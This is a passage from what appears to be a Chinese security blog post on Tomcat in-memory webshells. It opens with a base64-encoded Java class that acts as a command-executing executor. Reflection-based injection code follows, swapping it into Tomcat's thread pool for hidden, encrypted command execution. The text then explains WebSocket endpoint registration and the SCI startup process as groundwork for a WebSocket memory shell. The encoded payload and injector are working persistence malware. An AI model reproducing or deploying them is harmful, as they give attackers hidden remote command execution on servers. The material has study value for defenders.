ZWFkRmFjdG9yeTtMamF2YS91dGlsL2NvbmN1cnJlbnQvUmVqZWN0ZWRFeGVjdXRpb25IYW5kbGVyOylWAQAEdGhpcwEANExvcmcvZXhhbXBsZS90b21jYXRtZW1zaGVsbC9FeGVjdXRvci9UaHJlYWRFeGVjdXRvcjsBAAxjb3JlUG9vbFNpemUBAAFJAQAPbWF4aW11bVBvb2xTaXplAQANa2VlcEFsaXZlVGltZQEAAUoBAAR1bml0AQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEACXdvcmtRdWV1ZQEAJExqYXZhL3V0aWwvY29uY3VycmVudC9CbG9ja2luZ1F1ZXVlOwEADXRocmVhZEZhY3RvcnkBACRMamF2YS91dGlsL2NvbmN1cnJlbnQvVGhyZWFkRmFjdG9yeTsBAAdoYW5kbGVyAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L1JlamVjdGVkRXhlY3V0aW9uSGFuZGxlcjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA6TGphdmEvdXRpbC9jb25jdXJyZW50L0Jsb2NraW5nUXVldWU8TGphdmEvbGFuZy9SdW5uYWJsZTs+OwEACVNpZ25hdHVyZQEAsihJSUpMamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQ7TGphdmEvdXRpbC9jb25jdXJyZW50L0Jsb2NraW5nUXVldWU8TGphdmEvbGFuZy9SdW5uYWJsZTs+O0xqYXZhL3V0aWwvY29uY3VycmVudC9UaHJlYWRGYWN0b3J5O0xqYXZhL3V0aWwvY29uY3VycmVudC9SZWplY3RlZEV4ZWN1dGlvbkhhbmRsZXI7KVYBAAtnZXRSZXF1ZXN0MgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABYgEAAWEBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAQbmlvU29ja2V0V3JhcHBlcgEAEE5pb1NvY2tldFdyYXBwZXIBADlMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9uZXQvTmlvRW5kcG9pbnQkTmlvU29ja2V0V3JhcHBlcjsBAAN0bXABABJMamF2YS9sYW5nL09iamVjdDsBAA1zZWxlY3Rpb25LZXlzAQAhW0xqYXZhL25pby9jaGFubmVscy9TZWxlY3Rpb25LZXk7AQADb2JqAQAKbGlua2VkTGlzdAEAFkxqYXZhL3V0aWwvTGlua2VkTGlzdDsBAAV2YXIxMQEABWJ5dGVzAQADYnVmAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGdGFyZ2V0AQAKdGhyZWFkTmFtZQEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAClRhc2tUaHJlYWQBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIdGhyZWFkczEBABNbTGphdmEvbGFuZy9UaHJlYWQ7AQANU3RhY2tNYXBUYWJsZQcBSgcBlAcBKQcBGgcBewcAfgcBlQcBNQcBlgcBPgcBTwEAC2dldFJlc3BvbnNlAQAFKFtCKVYBAAdyZXF1ZXN0AQAfTG9yZy9hcGFjaGUvY295b3RlL1JlcXVlc3RJbmZvOwEACHJlc3BvbnNlAQAoTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlOwEACnRtcF9vYmplY3QBAAdvYmplY3RzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAHdGhyZWFkcwEAA3JlcwcBVwEAB2V4ZWN1dGUBABcoTGphdmEvbGFuZy9SdW5uYWJsZTspVgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAAnJ0AQATTGphdmEvbGFuZy9SdW50aW1lOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAxyZXN1bHRSZWFkZXIBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAhzdGRJbnB1dAEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAAXMBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAdjb21tYW5kAQAUTGphdmEvbGFuZy9SdW5uYWJsZTsBAANjbWQHAS8HAV8HAWIHAZcHAZgHAZkHAWgHAWoHAXUBAAhnZXRGaWVsZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQANZGVjbGFyZWRGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZvYmplY3QBAAlmaWVsZE5hbWUBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7BwGaBwGbAQAGZGVjb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlzZWNyZXRLZXkBABhMamF2YXgvY3J5cHRvL1NlY3JldEtleTsBAAZjaXBoZXIBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAtieXRlQ29udGVudAEACmJ5dGVEZWNvZGUBAANrZXkBAAdjb250ZW50AQAGZW5jb2RlAQAKYnl0ZUVuY29kZQEAB2J5dGVBRVMBAA1nZXRDbGFzc0ZpZWxkAQBJKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABWZpZWxkAQADdmFyAQAIPGNsaW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQATVGhyZWFkRXhlY3V0b3IuamF2YQcBnAwBnQGeAQBHdGFyZ2V0L2NsYXNzZXMvb3JnL2V4YW1wbGUvdG9tY2F0bWVtc2hlbGwvRXhlY3V0b3IvVGhyZWFkRXhlY3V0b3IuY2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nBwGfDAGgAaEHAaIMAaMBpAwBDAGlBwGmDAGnAagMAJIA0QcBqQwBqgGrDACSAJMHAZQMAawBrQwBrgGvAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwDAEPARAMAbAAqAEABkNsaWVudAwBsQGyDAD4APkBABJqYXZhL2xhbmcvUnVubmFibGUHAZUMAbMBtAEACHNlbGVjdG9yAQANa3F1ZXVlV3JhcHBlcgEACnVwZGF0ZUxpc3QBABRqYXZhL3V0aWwvTGlua2VkTGlzdAwBtQG2BwGWDAG3AbgMAbkBugEAB2NoYW5uZWwBAARrZXlzAQAKYXR0YWNobWVudAcBuwEAN29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvbmV0L05pb0VuZHBvaW50JE5pb1NvY2tldFdyYXBwZXIMAbwBvQwBvgG/AQAFVVRGLTgMAJIBwAEABWJsdWUwDAHBAcIMAaoBwwEAAQ0MAcEBxAwBxQHGDAHHAcgBADJvcmcvZXhhbXBsZS90b21jYXRtZW1zaGVsbC9FeGVjdXRvci9UaHJlYWRFeGVjdXRvcgEAEGJsdWVibHVlYmx1ZWJsdWUMAQIBAwwByQHKDAHLAcwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAGqAc0MAJIBFAEABGV4ZWMBAAhBY2NlcHRvcgEABnRoaXMkMAEABmdsb2JhbAEACnByb2Nlc3NvcnMBABNqYXZhL3V0aWwvQXJyYXlMaXN0AQAdb3JnL2FwYWNoZS9jb3lvdGUvUmVxdWVzdEluZm8BAANyZXEBACZvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZQEADFNlcnZlci10b2tlbgwBDAEDDAHOAc8MAKcAqAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDACSAdABACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcBlwwB0QHSDAFSAdMHAZgMAdQB1QEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAJIB1gEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMAJIB1wEAAAwB2ACoAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAdkB2gwB2wCoBwHcDAHdAd4MAd8B4AwA0ADRAQATamF2YS9pby9JT0V4Y2VwdGlvbgwB4QEUBwHiDAHjAJwMANwB5AwB5QHmAQAQamF2YS9sYW5nL09iamVjdAcBmgwB5wHoBwHpDAHqAesMAaAB7AwB7QHmAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwB3wG/AQAUQUVTL0NCQy9QS0NTNVBhZGRpbmcMAe4B7wEAE2phdmF4L2NyeXB0by9DaXBoZXIBACFqYXZheC9jcnlwdG8vc3BlYy9JdlBhcmFtZXRlclNwZWMMAH0AfgwB8AHxDACFAIgMAQIB8gwB8wGlDACSAfQMAIAAhAwB9QH2DAH3AfgBADFvcmcvYXBhY2hlL3RvbWNhdC91dGlsL3RocmVhZHMvVGhyZWFkUG9vbEV4ZWN1dG9yAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyAQAQamF2YS9sYW5nL1RocmVhZAEAE2phdmEvbmlvL0J5dGVCdWZmZXIBABJqYXZhL3V0aWwvSXRlcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwEAJmphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABihbQilbQgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAJm9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvbmV0L05pb0VuZHBvaW50AQAEcmVhZAEAGShaTGphdmEvbmlvL0J5dGVCdWZmZXI7KUkBAAVhcnJheQEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAB2luZGV4T2YBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAQoSSlWAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEABmxlbmd0aAEAAygpSQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAhwb3NpdGlvbgEAFChJKUxqYXZhL25pby9CdWZmZXI7AQAGdW5SZWFkAQAYKExqYXZhL25pby9CeXRlQnVmZmVyOylWAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQAJYWRkSGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAIWphdmEvbmlvL2NoYXJzZXQvU3RhbmRhcmRDaGFyc2V0cwEABVVURl84AQAaTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDsBAAhnZXRCeXRlcwEAHihMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylbQgEAD3ByaW50U3RhY2tUcmFjZQEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAMTUlMTElTRUNPTkRTAQA3KExqYXZhL2xhbmcvUnVubmFibGU7SkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspVgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQB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");
//                        ClassLoader classLoader = ClassLoader.getSystemClassLoader();//不能使用,找不到Tomcat下的类,如java.lang.NoClassDefFoundError: org/apache/tomcat/util/threads/ThreadPoolExecutorClassLoader classLoader = Thread.currentThread().getContextClassLoader();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);Class<?> ThreadExecutorClass = (Class<?>) defineClass.invoke(classLoader,"org.example.tomcatmemshell.Executor.ThreadExecutor" , classBytes, 0, classBytes.length);ThreadPoolExecutor threadPoolExecutor = (ThreadPoolExecutor) getClassField(Class.forName("org.apache.tomcat.util.net.AbstractEndpoint"),this0, "executor");Object instance = ThreadExecutorClass.getDeclaredConstructor(int.class,int.class,long.class,TimeUnit.class,BlockingQueue.class,ThreadFactory.class,RejectedExecutionHandler.class).newInstance(threadPoolExecutor.getCorePoolSize(), threadPoolExecutor.getMaximumPoolSize(), threadPoolExecutor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, threadPoolExecutor.getQueue(), threadPoolExecutor.getThreadFactory(), threadPoolExecutor.getRejectedExecutionHandler());this0.setExecutor((Executor) instance);System.out.println("Inject done!");}catch (Exception ignore){ignore.printStackTrace();}break;}}} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);}}public static Object getClassField(Class clazz,Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);Object var =  field.get(object);return var;}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

所以我放弃这个马,我认为这个马有很多的局限性,当然作者思路还是很NB的,绝大部分问题在于我的技术不足

WebSocket内存马

Tomcat从7.0.2版本开始支持WebSocket。Tomcat 从 7.0.47 版本开始支持 JSR 356,废弃了之前的自定义 WebSocket API。引入了全新的API,包括:

  • 注解驱动的 WebSocket(@ServerEndpoint)

  • 标准的 Session、MessageHandler、Endpoint 等类接口

  • 与 Servlet 容器集成

tomcat-catalina 是 Tomcat 的核心模块之一,但 它并不包含 WebSocket 支持本身。要启用 WebSocket 功能,还需要额外添加 WebSocket 相关模块

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-websocket</artifactId><version>8.5.56</version>
</dependency>

Spring Boot 2.0 及以上版本,就已经 内置支持 WebSocket(JSR-356 标准)

WebSocket 是 全双工 的,客户端和服务器可以同时发送消息。

通信双方 都是 Endpoint,只是角色不同:

  • 客户端:ClientEndpoint

  • 服务端:ServerEndpoint

要注入WebSocket内存马,先看看建立一个WebSocket通道具体怎么实现的,可分为注解实现和手动实现两种

注解实现

服务端

利用@ServerEndpoint注解创建WebSocket。服务端在接收到握手请求后,为每个连接自动创建一个新的 ServerEndpoint 实例。

如下:

import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;@ServerEndpoint("/hello-websocket")
public class HelloWebSocket {@OnOpenpublic void onOpen(Session session) {System.out.println("连接建立:" + session.getId());}@OnMessagepublic void onMessage(String msg, Session session) {System.out.println("收到消息:" + msg);session.getAsyncRemote().sendText("你发送了:" + msg);}@OnClosepublic void onClose(Session session) {System.out.println("连接关闭:" + session.getId());}@OnErrorpublic void onError(Session session, Throwable throwable) {throwable.printStackTrace();}
}
客户端

@ClientEndpoint
public class ChatClient {@OnOpenpublic void onOpen(Session session) {System.out.println("客户端连接成功");session.getAsyncRemote().sendText("你好服务端!");}@OnMessagepublic void onMessage(String message) {System.out.println("收到服务器消息: " + message);}@OnClosepublic void onClose(Session session) {System.out.println("客户端连接关闭");}@OnErrorpublic void onError(Throwable throwable) {throwable.printStackTrace();}
}

用WebSocketContainer.connectToServer进行连接

WebSocketContainer container = ContainerProvider.getWebSocketContainer();
Session session = container.connectToServer(ChatClient.class, URI.create("ws://localhost:8080/hello-websocket"));

其中@OnOpen,@OnMessage,@OnClose,@OnError的功能相信大家都能理解

手动实现

可以手动实现@ServerEndpoint的功能,那么该注解的功能是什么呢?

GPT问一下非springboot项目如何调试@ServerEndpoint注册过程,知道在WsSci.onStartup()中开始注册被@ServerEndpoint注解装饰的类

关于整个SCI的过程,其实得从SPI说起。详情:SnakeYaml反序列化分析 | Godown_blog

简单来说,SPI就是在运行时从 META-INF/services/ 目录下指定的配置文件中加载实现类。

Tomcat启动时,会使用SPI扫描所有JAR

ServletContainerInitializer就满足SPI的条件,作为配置文件,指定初始化时加载WsSci

看到WsSci,@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class, Endpoint.class}) 用于标注一个 ServletContainerInitializer(SCI) 实现类,告诉 Servlet 容器:

“启动时请帮我收集所有继承了 ServerEndpoint、ServerApplicationConfig、Endpoint 的类,我需要用它们来完成 WebSocket 的初始化配置。”

@HandlesTypes 是 Servlet 3.0 中引入的注解,标记在实现了 ServletContainerInitializer 的类上,容器会根据你指定的类型自动收集相关类,并作为参数传入 onStartup() 方法。

一句话说来,SCI就是 Servlet 3.0 引入的一种机制,容器在部署时会扫描 META-INF/services/ServletContainerInitializer,加载并执行其中定义类的 onStartup() 方法,实现动态组件注册。

从代码上来说,Tomcat启动时,LifecycleBase.start会调用startInternal()

startInternal方法会循环调用initializers(也就是META-INF/services/ServletContainerInitializer)内类的onStartup方法

在WsSci#OnStartup方法上打上断点

首先调用了init方法

初始化WsServerContainer并返回

